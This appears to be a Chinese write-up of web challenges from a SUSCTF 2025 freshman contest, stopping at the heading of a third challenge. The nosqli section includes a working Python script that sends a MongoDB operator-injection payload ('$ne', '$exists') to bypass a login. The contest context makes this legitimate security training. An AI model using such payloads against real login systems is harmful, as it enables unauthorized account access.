SUSCTF@2025 新生赛 WriteUp
Flagdle Type: web / Author: 135e2 / Difficulty: Easy 尝试玩Wordle,发现并不属于英语单词的flagdle可以被识别 检查网络发现有如下请求 其中index-v114.5.14.js 和index-v114.5.14.css中版本号令人在意,肯定是经过出题人的修改。 由于之前flagdle的疑点,查看单词字典发现 使用python获取e(31483)等单词,组成句子, Submit the last Four words as flag signthe webflag from our flagdle 尝试原单词词典最后四个词语失败,尝试signthewebflagfromourflagdle成功 nosqli Type: web / Author: 135e2 / Difficulty: Medium 注意到index.js 文件中有两个用户,admin 和 flag(本题目标),并且在成功登录后会输出{user.username},即flag。 题目提示nosql,使用常规MongoDB nosql注入方法,向query-password注入$exists按照操作符的逻辑执行了查询,成功登录。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import requests def main(): url = "http://game.ctf.seusus.com:xxxxx/login" # 端口在wp里隐去 # 构造NoSQL注入负载,匹配非admin用户且密码存在的文档 data = { "username": {"$ne": "admin"}, "password": {"$exists": True} } try: response = requests.post(url, json=data) if response.status_code == 200: # 提取响应中的用户名(即flag) flag = response.text.replace("Logged in as ", "") print(f"Flag: {flag}") else: print(f"请求失败,状态码: {response.status_code}, 响应: {response.text}") except Exception as e: print(f"发生错误: {e}") if __name__ == "__main__": main() ezphp Type: web / Author: hardream / Difficulty: Medium ...